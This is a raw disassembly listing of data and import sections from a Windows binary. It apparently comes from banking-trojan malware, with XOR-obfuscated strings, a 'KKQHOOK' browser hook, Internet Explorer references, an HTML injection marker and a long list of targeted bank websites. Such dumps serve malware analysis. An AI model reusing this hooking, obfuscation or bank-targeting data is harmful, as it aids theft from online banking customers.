aKkq32_dll	db 'kkq32.dll',0        ; DATA XREF: sub_40A766+37Co
word_445D56	dw 0DE88h		; DATA XREF: sub_40A766+372o
					; sub_40A766+3A7o ...
		dd 0DE88F1h
dword_445D5C	dd 88F1DE88h, 0D5C883DEh ; DATA	XREF: sub_40A766+2A9o
		db 0C8h, 0
asc_445D66	db '',0        ; DATA XREF: sub_40A766+C5o
dword_445D70	dd 0C4DFC9F1h, 0DEDFC8DBh, 0C4C9C3F1h, 83C9DFDEh, 0DED4DEh
					; DATA XREF: sub_40A766+5Bo
dbl_445D84	dq 1.2			; DATA XREF: sub_409847+D82r
asc_445D8C	db '',0           ; DATA XREF: sub_409847+CE4o
aQ		db 'ɟ',0              ; DATA XREF: sub_409847+C6Bo
aN_0		db 'ɍ',0            ; DATA XREF: sub_409847+BAEo
aCiaq		db '',0            ; DATA XREF: sub_409847+A0Co
aTRq		db 'ݐ',0           ; DATA XREF: sub_409847+912o
word_445DAA	dw 0DE88h		; DATA XREF: sub_409847+769o
		dd 83DE88F1h, 0DDC0D9h
aN		db 'ٍ',0            ; DATA XREF: sub_409847+4D1o
asc_445DBA	db '',0                ; DATA XREF: sub_409847+29Bo
					; sub_409847+5B2o ...
aTRi		db 'ΐ',0          ; DATA XREF: sub_409847+249o
asc_445DC4	db '',0              ; DATA XREF: sub_409847+1F0o
					; sub_409847+31Eo
dword_445DC8	dd 0D9CBC2FEh, 0C8DFCCDAh, 0CEC4E0F1h, 0C2DEC2DFh, 0FAF1D9CBh
					; DATA XREF: sub_409847+1DEo
					; sub_409847+30Co
		dd 0C2C9C3C4h
		db 0DAh, 0DEh, 0
aVG		db 'ƃ',0       ; DATA XREF: sub_409847+19Ao
aV		db '',0                ; DATA XREF: sub_409847+165o
aCvvi		db 'ݗ',0        ; DATA XREF: sub_409847+13Ao
word_445DFA	dw 0DE88h		; DATA XREF: sub_409847+D6o
					; sub_409847+C19o
		dd 83DE88F1h, 0D9CCC9h
dword_445E04	dd 0CEC4C1EEh, 0C3E28DC6h, 0F98DC8CEh, 0C2EE8DC2h, 0C3C4D9C3h
					; DATA XREF: sub_408E89+742o
		db 0D8h, 0C8h, 0
byte_445E1B	db 0EFh			; DATA XREF: sub_408E89+730o
		dd 0E2F9F9F8h
		db 0E3h, 0
word_445E22	dw 0E9E8h		; DATA XREF: sub_408E89+661o
					; sub_408E89+6B9o
		db 0E4h, 0F9h, 0
byte_445E27	db 0FDh			; DATA XREF: sub_408E89+59Bo
aNNNNNG		db 'ȍȍލɍԍÃ',0
word_445E4E	dw 0C3F8h		; DATA XREF: sub_408E89+521o
		dd 0C8C1CFCCh, 8DC2D98Dh, 0C5D9D8CCh, 0D7C4DFC2h, 0EC8D83C8h
		dd 0FD8DE0F9h, 0EE80E3E4h, 8DC8C9C2h, 0DF8DDEC4h, 0C4D8DCC8h
		dd 8DC9C8DFh, 0CE8DC2D9h, 0C1DDC0C2h, 8DC8D9C8h, 8DC8C5D9h
		dd 0C3CCDFD9h, 0D9CECCDEh, 83C3C2C4h
		db 0
byte_445E99	db 0ECh, 0F9h, 0E0h	; DATA XREF: sub_408E89+4ACo
		dd 0E3E4FD8Dh, 0C9C2EE80h
		db 0C8h, 0
aSN		db 'Í',0  ; DATA XREF: sub_408E89+437o
word_445EB6	dw 0C2F4h		; DATA XREF: sub_408E89+3B1o
aNN_0		db 'ߍɍ',0
aQaigq		db '',0           ; DATA XREF: sub_408E89+332o
aIgq		db '',0             ; DATA XREF: sub_408E89+2FBo
byte_445ED3	db 0EEh			; DATA XREF: sub_408E89+1FAo
					; sub_408E89+25Do
		dd 0E2EFE0E2h, 0F5E2EFh
aZnnnNiG	db 'ÍɃ',0 ; DATA XREF: sub_408E89+CFo
word_445EF6	dw 0F9FEh		; DATA XREF: sub_408E89+BDo
					; sub_408E89+137o ...
		dd 0EEE4F9ECh
		db 0
aKkqhook	db 'KKQHOOK',0          ; DATA XREF: sub_408E89+A2o
					; sub_409847+2B1o ...
		align 2
aS		db '',0         ; DATA XREF: sub_408E89+35o
					; sub_40B143+C6o
aST		db '',0        ; DATA XREF: sub_408E89+19o
					; sub_40B143+A8o
aIexplore_exe	db '\Iexplore.exe ',0   ; DATA XREF: sub_408BE4+119o
aPath		db 'Path',0             ; DATA XREF: sub_408BE4+D7o
aSoftwareMicros	db 'Software\Microsoft\IE Setup\Setup',0 ; DATA XREF: sub_408BE4+DCo
a_htm		db '.htm',0             ; DATA XREF: sub_408BE4+42o
dword_445F54	dd 0ACA5AB94h, 0ADB0ADE6h, 0E88BE7E8h, 0BAA9BCBBh, 0F2ABE8BCh
					; DATA XREF: sub_4085D0+108o
		dd 0A7A7AA94h, 0B1BBE6BCh
		db 0BBh, 0
aAFlemcBo	db '渡',0       ; DATA XREF: sub_4085D0+E3o
byte_445F7D	db 94h,	0A3h, 0ADh	; DATA XREF: sub_40847D+7Ao
		dd 0A4ADA6BAh, 0ACE6FAFBh
		db 2 dup(0A4h),	0
byte_445F8B	db 4			; DATA XREF: sub_408189+21Ao
		db 3, 0
aKvvkbiMiMqi	db 'ÊÌ',0   ; DATA XREF: sub_406E2B+EE0o
aKvvkbi		db 'Ê',0         ; DATA XREF: sub_406E2B+EB3o
asc_445FA6	db '',0                ; DATA XREF: sub_406E2B+E42o
asc_445FA8	db '',0                ; DATA XREF: sub_406E2B+DD7o
asc_445FAA	db 'ȵ',0             ; DATA XREF: sub_406E2B+D65o
aS_0		db '',0                ; DATA XREF: sub_406E2B+6FCo
aLMaiLvA	db 'ѫȵȵ',0 ; DATA XREF: sub_406E2B+625o
aAmdgKLvA	db 'Ѡȵ',0 ; DATA XREF: sub_406E2B+5E1o
		align 4
aName:					; DATA XREF: sub_406E2B+30o
		unicode	0, <name>,0
		align 4
aValue:					; DATA XREF: sub_406E2B+15o
		unicode	0, <value>,0
aZgiEEmGdPDpPJe	db 'ꃤꏲ',0 ; DATA XREF: sub_406A9A+C6o
a9ba05972F6a811:			; DATA XREF: sub_4069E2+30o
		unicode	0, <{9BA05972-F6A8-11CF-A442-00A0C90A8F39}>,0
aHtml		db '<HTML><!--',0       ; DATA XREF: sub_4062CD+4A2o
					; sub_4062CD+4ADo ...
aXOkrecv11	db 'X-okRecv11',0       ; DATA XREF: sub_4062CD+3DEo
aEijMai		db 'eij^MAI',0          ; DATA XREF: sub_4062CD+33Eo
dword_446078	dd 59095F09h, 610C010Ch, 435E4F45h, 584A435Fh, 5842650Ch
					; DATA XREF: sub_4062CD+2F5o
		dd 49425E49h, 54690C58h, 5E43405Ch
		db 49h,	5Eh, 0
byte_44609B	db 70h			; DATA XREF: sub_4062CD+1ECo
		dd 5C544965h, 495E4340h, 49544902h
		db 0Ch,	0
aMxd		db '|MXD',0             ; DATA XREF: sub_4062CD+A7o
byte_4460AF	db 7Fh			; DATA XREF: sub_4062CD+95o
		dd 5B584A43h, 70495E4Dh, 5E4F4561h, 4A435F43h, 69657058h
		dd 58497F0Ch, 7F705C59h, 5C595849h
		db 0
byte_4460D1	db 6Dh,	2 dup(5Ch)	; DATA XREF: sub_405F79+32Ao
		dd 42495A69h, 7F705F58h, 4149444Fh, 6D705F49h, 705F5C5Ch
		dd 405C5469h, 5E495E43h, 584F6D70h, 584D5A45h, 684B4245h
		dd 41594F43h, 70584249h, 5E596F02h, 5842495Eh
		db 0
byte_44610D	db 6Dh,	2 dup(5Ch)	; DATA XREF: sub_405F79+2EBo
		dd 42495A69h, 7F705F58h, 4149444Fh, 6D705F49h, 705F5C5Ch
		dd 405C5469h, 5E495E43h, 5A4D6270h, 584D4B45h, 704B4245h
		dd 5E596F02h, 5842495Eh
		db 0
aK@cnm@y_iCjj@e	db 'k@CNM@y_I^cJJ@EBI',0 ; DATA XREF: sub_405F79+2BDo
byte_446153	db 7Fh			; DATA XREF: sub_405F79+2ABo
		dd 5B584A43h, 70495E4Dh, 5E4F4561h, 4A435F43h, 457B7058h
		dd 5B434842h, 596F705Fh, 42495E5Eh, 5E497A58h, 4243455Fh
		dd 58426570h, 49425E49h, 497F0C58h, 42455858h
		db 4Bh,	5Fh, 0
byte_44618F	db 45h			; DATA XREF: sub_405F79+265o
		dd 405C5449h, 2495E43h,	495449h
dword_44619C	dd 7F705F09h, 5B584A43h, 70495E4Dh, 5E4F4561h, 4A435F43h
					; DATA XREF: sub_405F79+224o
		dd 42657058h, 425E4958h, 690C5849h, 43405C54h, 705E495Eh
		dd 42454D61h, 4D496A70h, 495E5958h, 5842436Fh, 7040435Eh
		dd 786D696Ah, 73697E79h, 6D6F6360h, 6F6D6160h, 69626564h
		dd 6F636073h, 7B636867h
		db 62h,	0
word_4461F6	dw 4955h		; DATA XREF: sub_405F79+1C0o
		db 5Fh,	0
aNC_ibiCoi__	db 'n^C[_IbI[|^COI__',0 ; DATA XREF: sub_405F79+1AEo
byte_44620B	db 2			; DATA XREF: sub_405F79+19Co
		db  68h	; h
		db 69h,	6Ah, 6Dh
		db  79h	; y
		db 60h,	78h, 70h
		db  7Fh	; 
aCjxMIpaeoC_cjx	db 'cjx{m~ipaEO^C_CJXp{EBHC[_poY^^IBXzI^_ECBpiT\@C^I^pn^C[_IbI[|^COI_'
		db '_',0
dword_446258	dd 786A637Fh, 697E6D7Bh, 40437C70h, 49454F45h, 4561705Fh
					; DATA XREF: sub_405F79+E4o
		dd 5F435E4Fh, 70584A43h, 4842457Bh, 705F5B43h, 5E5E596Fh
		dd 7A584249h, 455F5E49h, 65704243h, 5E495842h, 0C584942h
		dd 5858497Fh, 5F4B4245h, 42437670h, 9705F49h
		db 59h,	0
word_4462A6	dw 1A1Dh		; DATA XREF: sub_405F79+7Do
					; sub_405F79+B6o ...
		db 1Ch,	1Dh, 0
byte_4462AB	db 7Fh			; DATA XREF: sub_405F79+5Co
		dd 7B786A63h, 70697E6Dh, 5E4F4561h, 4A435F43h, 457B7058h
		dd 5B434842h, 596F705Fh, 42495E5Eh, 5E497A58h, 4243455Fh
		dd 58426570h, 49425E49h, 497F0C58h, 42455858h, 76705F4Bh
		dd 5F494243h, 590970h
dword_4462F0	dd 58440310h, 124041h	; DATA XREF: sub_405601+8BBo
dword_4462F8	dd 434E0310h, 125548h	; DATA XREF: sub_405601+890o
dword_446300	dd 4F5F0310h, 585C455Eh	; DATA XREF: sub_405601+878o
		db 12h,	0
word_44630A	dw 495Fh		; DATA XREF: sub_405601+81Ao
		dd 41457858h, 58594349h, 5F090E04h, 0E0504h, 17055909h
		db 0
byte_446321	db 51h,	0		; DATA XREF: sub_405601+7F1o
byte_446323	db 48h			; DATA XREF: sub_405601+7A5o
		dd 41594F43h, 2584249h,	5F025F09h, 45414E59h, 17050458h
		db 0
byte_446339	db 4Ah,	59h, 42h	; DATA XREF: sub_405601+749o
		dd 4345584Fh, 5F090C42h, 570504h
dword_446348	dd 2094F09h		; DATA XREF: sub_405601+6F5o
		db 1Eh,	59h, 0
byte_44634F	db 10h			; DATA XREF: sub_405601+6CAo
		dd 455E4F5Fh, 12585Ch
dword_446358	dd 434A0310h, 12415Eh	; DATA XREF: sub_405601+6ADo
dword_446360	dd 5C424510h, 580C5859h, 11495C55h, 4E595F0Eh, 0E584541h
					; DATA XREF: sub_405601+682o
		dd 404D5A0Ch, 0B114959h
		db 0Bh,	12h, 0
byte_44637F	db 9			; DATA XREF: sub_405601+57Bo
		db 5Fh,	50h, 0
byte_446383	db 10h			; DATA XREF: sub_405601+4A4o
					; sub_405601+5EDo
		dd 595C4245h, 55580C58h, 0E11495Ch, 58454849h, 4D5A0C0Eh
		dd 11495940h, 0B5F090Bh, 414D420Ch, 90B1149h, 0B59095Fh
		dd 5E4E1012h, 262112h
dword_4463B4	dd 5C424510h, 580C5859h, 11495C55h, 4548490Eh, 5A0C0E58h
					; DATA XREF: sub_405601+312o
		dd 4959404Dh, 59090B11h, 4D420C0Bh, 0B114941h, 10120B4Dh
		dd 21125E4Eh
		db 26h,	0
word_4463E2	dw 4A10h		; DATA XREF: sub_405601+2CAo
		dd 0C415E43h, 45584F4Dh, 0E114243h, 0C0E5F09h, 44584941h
		dd 0E114843h, 787F637Ch, 4D420C0Eh, 0E114941h, 120E5F09h
		db 0
byte_44640D	db 4Ah,	9, 2		; DATA XREF: sub_405601+28Co
		db 1Fh,	59h, 0
byte_446413	db 10h			; DATA XREF: sub_405601+256o
		dd 5548434Eh
		db 12h,	0
word_44641A	dw 310h			; DATA XREF: sub_405601+233o
		dd 484D4944h
		db 12h,	0
aMicrosoftCorp	db 'MicroSoft-Corp',0   ; DATA XREF: sub_405601+1E9o
					; sub_4062CD+305o
byte_446431	db 10h,	58h, 45h	; DATA XREF: sub_405601+1D9o
		dd 12494058h, 59095F09h, 45580310h, 12494058h
		db 0
byte_446445	db 10h,	44h, 49h	; DATA XREF: sub_405601+1A9o
		dd 12484Dh
dword_44644C	dd 41584410h		; DATA XREF: sub_405601+18Bo
		db 40h,	12h, 0
byte_446453	db 2			; DATA XREF: sub_405601+170o
		dd offset dword_415604+240h
a_OO		db 9,'_',9,'O',9,'O',0  ; DATA XREF: sub_405527+6Do
					; sub_405601+41Do
byte_44645F	db 6			; DATA XREF: sub_4053A1+A8o
		db 2, 6, 0
byte_446463	db 13h			; DATA XREF: sub_4053A1+39o
		db 0
byte_446465	db 1Ch,	14h, 5Dh	; DATA XREF: sub_404FEF+15Ao
		db 44h,	0
off_44646A	dd offset dword_445D14	; DATA XREF: sub_404FEF+FFo
word_44646E	dw 4901h		; DATA XREF: sub_404FEF+A1o
		dd 59030114h, 3011449h,	1144959h, 14495903h, 49590301h
		dd 59030114h, 3011449h
		db 59h,	49h, 0
byte_44648F	db 62h			; DATA XREF: sub_404FEF+5Fo
		dd 445D141Ch
		db 1Ch,	0
word_446496	dw 4350h		; DATA XREF: sub_404DE5+129o
		dd 1802090Fh, 521E09h
dword_4464A0	dd 2090F50h, 521E0918h	; DATA XREF: sub_404DE5+F4o
		db 0
byte_4464A9	db 50h,	43h, 0Ah	; DATA XREF: sub_404DE5+B9o
		dd 52180203h
		db 0
byte_4464B1	db 50h,	43h, 19h	; DATA XREF: sub_404DE5+7Eo
		db 52h,	0
word_4464B6	dw 4350h		; DATA XREF: sub_404DE5+49o
		db 0Eh,	52h, 0
byte_4464BB	db 50h			; DATA XREF: sub_404DE5+4o
		dd 520543h
dword_4464C0	dd 520550h		; DATA XREF: sub_404D49+73o
dword_4464C4	dd 521950h		; DATA XREF: sub_404D49+37o
dword_4464C8	dd 520E50h		; DATA XREF: sub_404D3C+2o
dword_4464CC	dd 521E0E50h		; DATA XREF: sub_404B85+18Co
		db 0
aAarl		db 'AARL',0             ; DATA XREF: sub_404A38+129o
aPmaal		db 'PMAAL',0            ; DATA XREF: sub_40494F+8Do
aAf		db 'af',0               ; DATA XREF: sub_404878+A1o
					; sub_404DE5+151o
byte_4464DF	db 43h			; DATA XREF: sub_404878o
		dd 490F4943h, 610F490Fh
		db 66h,	0
word_4464EA	dw 0D1Ah		; DATA XREF: sub_404663+12Eo
		dd 0F494C1Eh, 0F490F49h, 494C514Ch
		db 19h,	57h, 0
off_4464FB	dd offset dword_43464C	; DATA XREF: sub_404663+F7o
byte_4464FF	db 49h			; DATA XREF: sub_404663+92o
					; sub_404A38-1Ao ...
		dd 0F491Fh
dword_446504	dd 4C4643h		; DATA XREF: sub_404663+4Eo
aBlind_user	db 'blind_user',0       ; DATA XREF: sub_404527+50o
					; sub_4045B7+Co
aINvuni		db 'ލ',0         ; DATA XREF: sub_404194+299o
					; sub_409847+B6Eo
aCAzaNiUAzaNNiN	db 'ݠޓˍٍލݠޓ',0
					; DATA XREF: sub_404194+22Bo
word_446556	dw 0CEF1h		; DATA XREF: sub_404194+1B7o
					; sub_409847+B3Co
aG_0		db 'Ƀ',0
byte_446563	db 88h			; DATA XREF: sub_404194+197o
					; sub_409847+B09o
		dd 0C2CEF1DEh, 0C3CCC0C0h, 0C4DD83C9h
		db 0CBh, 0
word_446572	dw 0DE88h		; DATA XREF: sub_404194+172o
		dd 0C1DED5F1h, 94C1C9CBh, 0CCCF83D5h
		db 0D9h, 0
word_446582	dw 0CEF1h		; DATA XREF: sub_404194+139o
					; sub_409847+AC2o
aG_1		db 'Ƀ',0
byte_44658B	db 88h			; DATA XREF: sub_404194+119o
					; sub_409847+AA2o
		dd 0C0CEF1DEh, 0C4DD83C9h
		db 0CBh, 0
word_446596	dw 0DE88h		; DATA XREF: sub_404194+F9o
		dd 0C1DED5F1h, 0C3C1C9CBh, 0CCCF83D9h
		db 0D9h, 0
word_4465A6	dw 0E0DCh		; DATA XREF: sub_403C5F+3ACo
		dd 0EEF8FBE9h, 0C2D3EAFDh, 0E0FDECE6h, 0FBE9E0FCh, 0E1E6D8D3h
		dd 0FCF8E0EBh, 0FDFACCD3h, 0FBE1EAFDh, 0FCFDEAD9h, 0D3E1E0E6h
		dd 0E3EAE7DCh, 0FDEADCE3h, 0EAECE6F9h, 0EAE5EDC0h, 0EACBFBECh
		dd 0C3F6EEE3h, 0EBEEE0h
dword_4465EC	dd 0FDEEFFCEh, 0E1EAE2FBh ; DATA XREF: sub_403C5F+382o
		db 0FBh, 0
word_4465F6	dw 0E7DBh		; DATA XREF: sub_403C5F+370o
		dd 0EBEEEAFDh, 0C2E8E1E6h, 0E3EAEBE0h
		db 0
byte_446605	db 0			; DATA XREF: sub_403C5F+337o
					; sub_405F79+2F9o ...
word_446606	dw 0C3CCh		; DATA XREF: sub_403C5F+304o
		dd 0D3CBC6DCh, 0C6D3FCAAh, 0E0FDDFE1h, 0FDEADCECh, 0BCFDEAF9h
		db 0BDh, 0
word_44661E	dw 0FCAAh		; DATA XREF: sub_403C5F+24Bo
		dd 0A1FCAAD3h, 0E3E3EBh
dword_446628	dd 0BBBFAAF4h, 0BBBFAAD7h, 0BFAAA2D7h, 0AAA2D7BBh, 0A2D7BBBFh
					; DATA XREF: sub_403C5F+40o
		dd 0D7BBBFAAh, 0BBBFAAA2h, 2 dup(0BBBFAAD7h)
		db 0D7h, 0F2h, 0
byte_44664F	db 0AFh			; DATA XREF: sub_403AA3+14Fo
		db 0
byte_446651	db 0AAh, 0FCh, 0D3h	; DATA XREF: sub_403AA3+6Eo
		dd 0EAA1FCAAh
		db 0F7h, 0EAh, 0
aK		db '',0             ; DATA XREF: sub_4039D6+86o
asc_446660	db '$',0                ; DATA XREF: sub_4037EF+42o
					; .text:004038C2o
word_446662	dw 1Eh			; DATA XREF: sub_4036F2+32o
byte_446664	db 7Eh,	0		; DATA XREF: sub_403610+9Co
word_446666	dw 6C10h		; DATA XREF: sub_403449+4Bo
					; sub_4034D8+41o
		db 0
aChevychasebank	db 'chevychasebank.com',0 ; DATA XREF: .data:0043B1D8o
aGronxplanets_r	db 'gronxplanets.ru',0  ; DATA XREF: .data:0043B1D4o
aWww_mdmbank_ru	db 'www.mdmbank.ru',0   ; DATA XREF: .data:0043B1D0o
aFethard_biz	db 'fethard.biz',0      ; DATA XREF: .data:0043B1CCo
aRoyalbank_com	db 'royalbank.com',0    ; DATA XREF: .data:0043B1C8o
aSecuritylab_ru	db 'securitylab.ru',0   ; DATA XREF: .data:0043B1C4o
aTatNeftbank_ru	db 'tat-neftbank.ru',0  ; DATA XREF: .data:0043B1C0o
aSeclab_ru	db 'seclab.ru',0        ; DATA XREF: .data:0043B1BCo
aOpenbank_com	db 'openbank.com',0     ; DATA XREF: .data:0043B1B8o
aGutabank_ru	db 'gutabank.ru',0      ; DATA XREF: .data:0043B1B4o
aWww_b2bTrust_c	db 'www.b2b-trust.com',0 ; DATA XREF: .data:0043B1B0o
aGrepwareFacili	db 'grepware-facility.ru',0 ; DATA XREF: .data:0043B1ACo
aWww_uralsib_ru	db 'www.uralsib.ru',0   ; DATA XREF: .data:0043B1A8o
a53bank_com	db '53bank.com',0       ; DATA XREF: .data:0043B1A4o
aWww_nbc_caInde	db 'www.nbc.ca/index.php',0 ; DATA XREF: .data:0043B1A0o
aTotallyfreeban	db 'totallyfreebanking.com',0 ; DATA XREF: .data:0043B19Co
aBarclays_com	db 'barclays.com',0     ; DATA XREF: .data:0043B198o
aWww_lbcdirect_	db 'www.lbcdirect.laurentianbank.ca/index.php',0
					; DATA XREF: .data:0043B194o
aKidosBank_ru	db 'kidos-bank.ru',0    ; DATA XREF: .data:0043B190o
aYambo_biz	db 'yambo.biz',0        ; DATA XREF: .data:0043B18Co
aProrat_net	db 'prorat.net',0       ; DATA XREF: .data:0043B188o
aWww1_hsbc_caIn	db 'www1.hsbc.ca/index.php',0 ; DATA XREF: .data:0043B184o
aWww_ovk_ru	db 'www.ovk.ru',0       ; DATA XREF: .data:0043B180o
aWww_rbc_com	db 'www.rbc.com',0      ; DATA XREF: .data:0043B17Co
aMasterX_comFor	db 'master-x.com/forum/',0 ; DATA XREF: .data:0043B178o
aWww_allahabadb	db 'www.allahabadbank.com',0 ; DATA XREF: .data:0043B174o
aOnlineBusiness	db 'online-business.lloydstsb.co.uk',0 ; DATA XREF: .data:0043B170o
aMyonlineaccoun	db 'myonlineaccounts2.abbeynational.co.uk',0 ; DATA XREF: .data:0043B16Co
aWww_absolutban	db 'www.absolutbank.ru',0 ; DATA XREF: .data:0043B168o
aKavkazcenter_c	db 'kavkazcenter.com/russ',0 ; DATA XREF: .data:0043B164o
aWww_netmagiste	db 'www.netmagister.com',0 ; DATA XREF: .data:0043B160o
aWww_kmb_ru	db 'www.kmb.ru',0       ; DATA XREF: .data:0043B15Co
aWww_spyinstruc	db 'www.spyinstructors.com',0 ; DATA XREF: .data:0043B158o
aAcroleinHawk_r	db 'acrolein-hawk.rubanking.halifax-online.co.uk',0
					; DATA XREF: .data:0043B154o
aWww_icbank_ru	db 'www.icbank.ru',0    ; DATA XREF: .data:0043B150o
aWww_bankofindi	db 'www.bankofindia.com',0 ; DATA XREF: .data:0043B14Co
aPizdabolInc_ru	db 'pizdabol-inc.ru',0  ; DATA XREF: .data:0043B148o
aWww_sbrf_ru	db 'www.sbrf.ru',0      ; DATA XREF: .data:0043B144o
aWww_candidatev	db 'www.candidateverifier.com/index.php',0 ; DATA XREF: .data:0043B140o
aWww_worldbank_	db 'www.worldbank.org/index.php',0 ; DATA XREF: .data:0043B13Co
aDigitalRelaxkg	db 'digital-relaxkgb.ru',0 ; DATA XREF: .data:0043B138o
aAsmworm_com	db 'asmworm.com',0      ; DATA XREF: .data:0043B130o
aAtmacasoft_com	db 'atmacasoft.com',0   ; DATA XREF: .data:0043B12Co
aCrutop_nuVbu_1	db 'crutop.nu/vbulletin/showthread.php',0 ; DATA XREF: .data:0043B128o
aWww_uniastrum_	db 'www.uniastrum.ru',0 ; DATA XREF: .data:0043B124o
aCrutop_nuVbu_0	db 'crutop.nu/vbulletin/forumdisplay.php',0 ; DATA XREF: .data:0043B120o
aWww_mmbank_ru	db 'www.mmbank.ru',0    ; DATA XREF: .data:0043B11Co
aCrutop_nuVbull	db 'crutop.nu/vbulletin/',0 ; DATA XREF: .data:0043B118o
aAlfabank_ru	db 'alfabank.ru',0      ; DATA XREF: .data:0043B114o
aHyperSpaceFuel	db 'hyper-space-fuel.ru',0 ; DATA XREF: .data:0043B110o
aWww_cwbank_com	db 'www.cwbank.com',0   ; DATA XREF: .data:0043B10Co
aWww_vtb_ru	db 'www.vtb.ru',0       ; DATA XREF: .data:0043B108o
aWww_cibc_com	db 'www.cibc.com',0     ; DATA XREF: .data:0043B104o
aWww_bankofmadu	db 'www.bankofmadura.com',0 ; DATA XREF: .data:0043B100o
aWww_bmo_com	db 'www.bmo.com',0      ; DATA XREF: .data:0043B0FCo
aWww_bankBanque	db 'www.bank-banque-canada.ca/index.php',0 ; DATA XREF: .data:0043B0F8o
aWww_masterbank	db 'www.masterbank.ru',0 ; DATA XREF: .data:0043B0F4o
aEbookfinaltras	db 'ebookfinaltrash.ru',0 ; DATA XREF: .data:0043B0F0o
aMasterX_com	db 'master-x.com',0     ; DATA XREF: .data:0043B0ECo
aWww_bbin_ru	db 'www.bbin.ru',0      ; DATA XREF: .data:0043B0E8o
aOlb2_nationet_	db 'olb2.nationet.com',0 ; DATA XREF: .data:0043B0E4o
aWelcome3_smile	db 'welcome3.smile.co.uk',0 ; DATA XREF: .data:0043B0E0o
aWww_baltbank_r	db 'www.baltbank.ru',0  ; DATA XREF: .data:0043B0DCo
aNew_egg_com	db 'new.egg.com',0      ; DATA XREF: .data:0043B0D8o
aProdexteam_n_1	db 'prodexteam.netcrutop.nu',0 ; DATA XREF: .data:0043B0D4o
aWww_proxySocks	db 'www.proxy-socks.net',0 ; DATA XREF: .data:0043B0D0o
					; .data:0043B134o
aWww_cbr_ru	db 'www.cbr.ru',0       ; DATA XREF: .data:0043B0CCo
aProdexteam_n_0	db 'prodexteam.net/main.htm',0 ; DATA XREF: .data:0043B0C8o
aProdexteam_net	db 'prodexteam.net',0   ; DATA XREF: .data:0043B0C4o
aChechenpress_i	db 'chechenpress.info',0 ; DATA XREF: .data:0043B0C0o
aSiliconfirewar	db 'siliconfireware.ru',0 ; DATA XREF: .data:off_43B0BCo
		align 4
dword_446BA4	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_406E2B+122o
dword_446BB4	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_406E2B+4DDo
					; sub_406E2B+94Fo
dword_446BC4	dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_406E2B+866o
dword_446BD4	dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_406E2B+352o
dword_446BE4	dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7h ;	DATA XREF: sub_4069E2+7Co
dword_446BF4	dd 2 dup(0)		; DATA XREF: sub_4069E2+52o
		dd 0C0h, 46000000h
dword_446C04	dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh	; DATA XREF: sub_406A9A+230o
dword_446C14	dd 10h dup(0)		; DATA XREF: sub_40BABCo
					; sub_40BABC:loc_40BAD6o ...
dword_446C54	dd 0			; DATA XREF: sub_40BA60+16o
					; sub_40BA60:loc_40BAA2o ...
		dd 0Fh dup(0)
dword_446C94	dd 0			; DATA XREF: sub_40BBC5+Cw
					; sub_40BBC5+825r
dword_446C98	dd 0			; DATA XREF: sub_40BBC5+14w
					; sub_40BBC5+82Cr
dword_446C9C	dd 0			; DATA XREF: sub_40BBC5+1Cw
					; sub_40BBC5+834r
dword_446CA0	dd 0			; DATA XREF: sub_40BBC5+24w
					; sub_40BBC5+83Cr
		align 400h
_data		ends

; Section 4. (virtual address 00047000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00047000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 447000h
off_447000	dd offset dword_44710C	; DATA XREF: .idata:00447E00o
		dd 2 dup(0)
		dd offset dword_44710C
		dd offset dword_44710C
off_447014	dd offset dword_44711C	; DATA XREF: .idata:00447E10o
					; .idata:00447E14o
		align 10h
		dd offset dword_44711C
		dd offset dword_44711C
off_447028	dd offset dword_447134	; DATA XREF: .idata:00447E24o
					; .idata:00447E28o ...
		dd 2 dup(0)
		dd offset dword_447134
		dd offset dword_447134
off_44703C	dd offset dword_447214	; DATA XREF: .idata:00447E44o
					; .idata:00447E48o ...
		dd 2 dup(0)
		dd offset dword_447214
		dd offset dword_447214
off_447050	dd offset dword_447290	; DATA XREF: .idata:00447F28o
					; .idata:00447F2Co ...
		dd 2 dup(0)
		dd offset dword_447290
		dd offset dword_447290
off_447064	dd offset dword_4472AC	; DATA XREF: .idata:00447FA8o
					; .idata:00447FACo ...
		align 10h
		dd offset dword_4472AC
		dd offset dword_4472AC
off_447078	dd offset dword_4472E8	; DATA XREF: .idata:00447FCCo
					; .idata:00447FD0o ...
		dd 2 dup(0)
		dd offset dword_4472E8
		dd offset dword_4472E8
off_44708C	dd offset dword_447338	; DATA XREF: .idata:0044800Co
					; .idata:00448010o ...
		dd 2 dup(0)
		dd offset dword_447338
		dd offset dword_447338
		dd 1Ah dup(0)
		dd 47574h
dword_44710C	dd 2 dup(0)		; DATA XREF: .idata:off_447000o
					; .idata:0044700Co ...
		dd 47588h, 475A4h
dword_44711C	dd 2 dup(0)		; DATA XREF: .idata:off_447014o
					; .idata:00447020o ...
		dd 475C0h, 475D4h, 475E8h, 475F8h
dword_447134	dd 2 dup(0)		; DATA XREF: .idata:off_447028o
					; .idata:00447034o ...
		dd 4760Ch, 4761Ch, 47638h, 4764Ch, 47664h, 4767Ch, 4768Ch
		dd 4769Ch, 476ACh, 476C4h, 476D8h, 476E8h, 476FCh, 47710h
		dd 47728h, 47738h, 47748h, 47758h, 47768h, 47780h, 47798h
		dd 477ACh, 477C0h, 477D4h, 477ECh, 477F8h, 47810h, 47820h
		dd 47830h, 47844h, 47854h, 47864h, 47870h, 47880h, 47890h
		dd 478A0h, 478ACh, 478B8h, 478C8h, 478DCh, 478ECh, 478FCh
		dd 47904h, 47918h, 47928h, 47938h, 47948h, 4795Ch, 47974h
		dd 47980h, 4798Ch, 47998h, 479A4h, 479B4h
dword_447214	dd 2 dup(0)		; DATA XREF: .idata:off_44703Co
					; .idata:00447048o ...
		dd 479C4h, 479D8h, 479E8h, 479F8h, 47A04h, 47A14h, 47A20h
		dd 47A38h, 47A48h, 47A54h, 47A60h, 47A74h, 47A84h, 47A94h
		dd 47AA8h, 47ABCh, 47AD0h, 47AE4h, 47AF8h, 47B0Ch, 47B20h
